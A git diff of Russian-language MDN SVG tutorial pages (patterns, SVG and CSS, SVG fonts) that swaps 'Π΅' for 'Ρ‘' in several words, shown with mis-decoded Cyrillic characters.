-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ эту Ρ€Π°Π±ΠΎΡ‚Ρƒ Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, Π½Π°ΠΌ ΠΏΡ€ΠΈΡˆΠ»ΠΎΡΡŒ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ нашСй ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ (200 пиксСлСй) ΠΈ Ρ‚ΠΎΡ‚ Ρ„Π°ΠΊΡ‚, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ рисунок повторялся 4 Ρ€Π°Π·Π° ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ ΠΈ ΠΏΠΎ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΠΈ. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π±Π»ΠΎΠΊ шаблонов Π±Ρ‹Π» ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ΠΎΠΌ 50 Γ— 50. Π—Π°Ρ‚Π΅ΠΌ Π΄Π²Π° ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° ΠΈ ΠΊΡ€ΡƒΠ³ Π²Π½ΡƒΡ‚Ρ€ΠΈ рисунка Π±Ρ‹Π»ΠΈ рассчитаны Π½Π° Ρ€Π°Π·ΠΌΠ΅Ρ€ Π² ΠΊΠΎΡ€ΠΎΠ±ΠΊΠ΅ 50x50.<br>
- ВсС, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ нарисовали Π²Π½Π΅ этой ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ, Π½Π΅ Π±Ρ‹Π»ΠΎ Π±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ. Π¨Π°Π±Π»ΠΎΠ½ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Π» Π±Ρ‹Ρ‚ΡŒ смСщСн Π½Π° 10 пиксСлСй, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ начинался Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ Π»Π΅Π²ΠΎΠΌ ΡƒΠ³Π»Ρƒ нашСго ΠΎΠΊΠ½Π°, поэтому Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ <strong>x</strong> ΠΈ <strong>y</strong> шаблона Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Π»ΠΈ Π±Ρ‹Ρ‚ΡŒ скоррСктированы Π΄ΠΎ 10/200 = 0,05.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ эту Ρ€Π°Π±ΠΎΡ‚Ρƒ Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, Π½Π°ΠΌ ΠΏΡ€ΠΈΡˆΠ»ΠΎΡΡŒ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ нашСй ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ (200 пиксСлСй) ΠΈ Ρ‚ΠΎΡ‚ Ρ„Π°ΠΊΡ‚, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ рисунок повторялся 4 Ρ€Π°Π·Π° ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ ΠΈ ΠΏΠΎ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΠΈ. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π±Π»ΠΎΠΊ шаблонов Π±Ρ‹Π» ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ΠΎΠΌ 50 Γ— 50. Π—Π°Ρ‚Π΅ΠΌ Π΄Π²Π° ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° ΠΈ ΠΊΡ€ΡƒΠ³ Π²Π½ΡƒΡ‚Ρ€ΠΈ рисунка Π±Ρ‹Π»ΠΈ рассчитаны Π½Π° Ρ€Π°Π·ΠΌΠ΅Ρ€ Π² ΠΊΠΎΡ€ΠΎΠ±ΠΊΠ΅ 50x50.<br>
+ ВсС, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ нарисовали Π²Π½Π΅ этой ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ, Π½Π΅ Π±Ρ‹Π»ΠΎ Π±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ. Π¨Π°Π±Π»ΠΎΠ½ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Π» Π±Ρ‹Ρ‚ΡŒ смСщён Π½Π° 10 пиксСлСй, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ начинался Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΌ Π»Π΅Π²ΠΎΠΌ ΡƒΠ³Π»Ρƒ нашСго ΠΎΠΊΠ½Π°, поэтому Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ <strong>x</strong> ΠΈ <strong>y</strong> шаблона Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Π»ΠΈ Π±Ρ‹Ρ‚ΡŒ скоррСктированы Π΄ΠΎ 10/200 = 0,05.</p>
-<p>Π—Π΄Π΅ΡΡŒ прСдостСрСТСниС Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ссли ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ измСняСт Ρ€Π°Π·ΠΌΠ΅Ρ€, сам шаблон Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π΅ΠΌΡƒ, Π½ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, хотя Ρƒ нас всС Π΅Ρ‰Π΅ Π±ΡƒΠ΄Π΅Ρ‚ 4 ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΡ…ΡΡ Π±Π»ΠΎΠΊΠ° Π²Π½ΡƒΡ‚Ρ€ΠΈ шаблона, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ этот шаблон, Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, ΠΈ Π²Ρ‹ ΠΎΠΊΠ°ΠΆΠ΅Ρ‚Π΅ΡΡŒ Π² Π±ΠΎΠ»ΡŒΡˆΠΈΡ… областях ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ.<br>
+<p>Π—Π΄Π΅ΡΡŒ прСдостСрСТСниС Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ссли ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ измСняСт Ρ€Π°Π·ΠΌΠ΅Ρ€, сам шаблон Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π΅ΠΌΡƒ, Π½ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, хотя Ρƒ нас всС Π΅Ρ‰Ρ‘ Π±ΡƒΠ΄Π΅Ρ‚ 4 ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΡ…ΡΡ Π±Π»ΠΎΠΊΠ° Π²Π½ΡƒΡ‚Ρ€ΠΈ шаблона, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ этот шаблон, Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, ΠΈ Π²Ρ‹ ΠΎΠΊΠ°ΠΆΠ΅Ρ‚Π΅ΡΡŒ Π² Π±ΠΎΠ»ΡŒΡˆΠΈΡ… областях ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ.<br>
ИзмСняя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <strong><code>patternContentUnits</code></strong> , ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ всС элСмСнты Π² ΠΎΠ΄Π½Ρƒ Π΅Π΄ΠΈΠ½ΡƒΡŽ систСму:</p>
<pre class="brush: xml"> &lt;pattern id="Pattern" width=".25" height=".25" patternContentUnits="objectBoundingBox"&gt;
@@ -55,7 +55,7 @@ translation_of: Web/SVG/Tutorial/Patterns
&lt;/pattern&gt;
</pre>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ содСрТимоС шаблона находится Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ Π΅Π΄ΠΈΠ½ΠΈΡ‡Π½ΠΎΠΉ систСмС, Ρ‡Ρ‚ΠΎ ΠΈ шаблон, Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π΅ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ шаблон начинался Π² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ мСстС, ΠΈ Ссли Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ Π½Π° Π±ΠΎΠ»Π΅Π΅ ΠΊΡ€ΡƒΠΏΠ½Ρ‹ΠΉ, шаблон автоматичСски ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² Π½Π΅ΠΌ Π±Ρ‹Π»ΠΎ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠ΅ количСство ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΡ…ΡΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π³ΠΎ.Β Π­Ρ‚ΠΎ контрастируСт с систСмой <strong>userSpaceOnUse</strong>, Π³Π΄Π΅, Ссли ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ измСняСт Ρ€Π°Π·ΠΌΠ΅Ρ€, шаблон останСтся ΠΏΡ€Π΅ΠΆΠ½ΠΈΠΌ ΠΈ просто повторится большС Ρ€Π°Π·, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ»Π΅.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ содСрТимоС шаблона находится Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ Π΅Π΄ΠΈΠ½ΠΈΡ‡Π½ΠΎΠΉ систСмС, Ρ‡Ρ‚ΠΎ ΠΈ шаблон, Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ ΠΏΠΎΠ»Π΅ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ шаблон начинался Π² ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌ мСстС, ΠΈ Ссли Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ Π½Π° Π±ΠΎΠ»Π΅Π΅ ΠΊΡ€ΡƒΠΏΠ½Ρ‹ΠΉ, шаблон автоматичСски ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² Π½Π΅ΠΌ Π±Ρ‹Π»ΠΎ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠ΅ количСство ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΡ…ΡΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π³ΠΎ.Β Π­Ρ‚ΠΎ контрастируСт с систСмой <strong>userSpaceOnUse</strong>, Π³Π΄Π΅, Ссли ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ измСняСт Ρ€Π°Π·ΠΌΠ΅Ρ€, шаблон останСтся ΠΏΡ€Π΅ΠΆΠ½ΠΈΠΌ ΠΈ просто повторится большС Ρ€Π°Π·, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ»Π΅.</p>
<p>Как Π½ΠΈ ΡƒΠ΄ΠΈΠ²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ, Π½ΠΎ Π² ΠΊΡ€ΡƒΠ³Π°Ρ… Gecko, ΠΏΠΎΡ…ΠΎΠΆΠ΅, Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с рисованиСм, Ссли ΠΈΡ… радиус установлСн Π½Π° Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ мСньшСС 0.075 (хотя ΠΈΡ… Π½ΡƒΠΆΠ½ΠΎ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ Π³ΠΎΡ€Π°Π·Π΄ΠΎ больший радиус, Ρ‡Π΅ΠΌ этот. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ошибкой Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² шаблонС , Или Π²ΠΎΠΎΠ±Ρ‰Π΅ Π½Π΅ ошибка, я Π½Π΅ ΡƒΠ²Π΅Ρ€Π΅Π½).<br>
Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ это, вСроятно, Π»ΡƒΡ‡ΡˆΠ΅ всСго ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ рисования Π±Π»ΠΎΠΊΠΎΠ² Β«objectBoundingBoxΒ», Ссли Π²Π°ΠΌ это Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ.</p>
@@ -69,7 +69,7 @@ translation_of: Web/SVG/Tutorial/Patterns
&lt;/pattern&gt;
</pre>
-<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ шаблон Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ, Ссли Π²Ρ‹ ΠΏΠΎΠ·ΠΆΠ΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ€ своСго ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. ВсС Ρ‚Ρ€ΠΈ ΠΈΠ· ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ Π½ΠΈΠΆΠ΅ Π½Π° ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСгка ΡƒΠ΄Π»ΠΈΠ½Π΅Π½ Π΄ΠΎ высоты 300 пиксСлСй, Π½ΠΎ я Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π½Π΅ ΠΈΡΡ‡Π΅Ρ€ΠΏΡ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΈ Π΅ΡΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹, доступныС Π² зависимости ΠΎΡ‚ вашСго прилоТСния.</p>
+<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ шаблон Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ, Ссли Π²Ρ‹ ΠΏΠΎΠ·ΠΆΠ΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ€ своСго ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. ВсС Ρ‚Ρ€ΠΈ ΠΈΠ· ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ Π½ΠΈΠΆΠ΅ Π½Π° ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСгка ΡƒΠ΄Π»ΠΈΠ½Ρ‘Π½ Π΄ΠΎ высоты 300 пиксСлСй, Π½ΠΎ я Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π½Π΅ ΠΈΡΡ‡Π΅Ρ€ΠΏΡ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΈ Π΅ΡΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹, доступныС Π² зависимости ΠΎΡ‚ вашСго прилоТСния.</p>
<p><img alt="Image:SVG_Pattern_Comparison_of_Units.png" class="internal" src="/@api/deki/files/349/=SVG_Pattern_Comparison_of_Units.png"></p>
diff --git a/files/ru/web/svg/tutorial/svg_and_css/index.html b/files/ru/web/svg/tutorial/svg_and_css/index.html
index 7bdadb6b12..1382c844c6 100644
--- a/files/ru/web/svg/tutorial/svg_and_css/index.html
+++ b/files/ru/web/svg/tutorial/svg_and_css/index.html
@@ -29,7 +29,7 @@ original_slug: Web/Guide/CSS/Getting_started/SVG_ΠΈ_CSS
<tbody>
<tr>
<td>
- <p>На ΠΌΠΎΠΌΠ΅Π½Ρ‚ написания ΡΡ‚Π°Ρ‚ΡŒΠΈΒ (сСрСдина 2011 Π³ΠΎΠ΄Π°), Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈΠΌΠ΅Π΅Ρ‚ Π±Π°Π·ΠΎΠ²ΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒΒ SVG, Π² Ρ‚ΠΎΠΌ числС Internet Explorer 9 ΠΈ Π²Ρ‹ΡˆΠ΅. НСкоторыС Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ возмоТности SVG Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ, Π»ΠΈΠ±ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π»ΠΈΡˆΡŒΒ Ρ‡Π°ΡΡ‚ΠΈΡ‡Π½ΠΎ,Β Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Для Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ΅ SVG, см.Β <a href="http://caniuse.com/#search=SVG">SVG tables on caniuse.com</a>, Π»ΠΈΠ±ΠΎ Π² Ρ‚Π°Π±Π»ΠΈΡ†Π°Ρ… совмСстимости <a href="/en-US/docs/SVG/Element">SVG element reference</a>, для ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… элСмСнтов.</p>
+ <p>На ΠΌΠΎΠΌΠ΅Π½Ρ‚ написания ΡΡ‚Π°Ρ‚ΡŒΠΈΒ (сСрСдина 2011 Π³ΠΎΠ΄Π°), Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈΠΌΠ΅Π΅Ρ‚ Π±Π°Π·ΠΎΠ²ΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒΒ SVG, Π² Ρ‚ΠΎΠΌ числС Internet Explorer 9 ΠΈ Π²Ρ‹ΡˆΠ΅. НСкоторыС Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ возмоТности SVG Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ, Π»ΠΈΠ±ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π»ΠΈΡˆΡŒΒ Ρ‡Π°ΡΡ‚ΠΈΡ‡Π½ΠΎ,Β Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Для Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ΅ SVG, см.Β <a href="http://caniuse.com/#search=SVG">SVG tables on caniuse.com</a>, Π»ΠΈΠ±ΠΎ Π² Ρ‚Π°Π±Π»ΠΈΡ†Π°Ρ… совмСстимости <a href="/en-US/docs/SVG/Element">SVG element reference</a>, для ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… элСмСнтов.</p>
<p>Π’ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ вСрсии ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒΒ SVG, установив Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉΒ ΠΏΠ»Π°Π³ΠΈΠ½, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, прСдоставлСнный ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠ΅ΠΉΒ <a href="http://www.adobe.com/svg/viewer/install/main.html">Adobe</a>.</p>
diff --git a/files/ru/web/svg/tutorial/svg_fonts/index.html b/files/ru/web/svg/tutorial/svg_fonts/index.html
index 92cdb57f84..42aba5fd39 100644
--- a/files/ru/web/svg/tutorial/svg_fonts/index.html
+++ b/files/ru/web/svg/tutorial/svg_fonts/index.html
@@ -5,11 +5,11 @@ translation_of: Web/SVG/Tutorial/SVG_fonts
---
<p>{{ PreviousNext("Web/SVG/Tutorial/Filter_effects", "Web/SVG/Tutorial/SVG_Image_Tag") }}</p>
-<p>Когда Π±Ρ‹Π» написан стандарт SVG, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π²Π΅Π±-ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ² Π΅Ρ‰Π΅ Π½Π΅ Π±Ρ‹Π»Π° ΡˆΠΈΡ€ΠΎΠΊΠΎ распространСна Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ доступ ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌΡƒ Ρ„Π°ΠΉΠ»Ρƒ ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π΅ΡˆΠ°ΡŽΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ³ΠΎ отобраТСния тСкста, Π² SVG Π±Ρ‹Π»Π° Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π° тСхнология описания ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ². Она Π½Π΅ совмСстима с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ 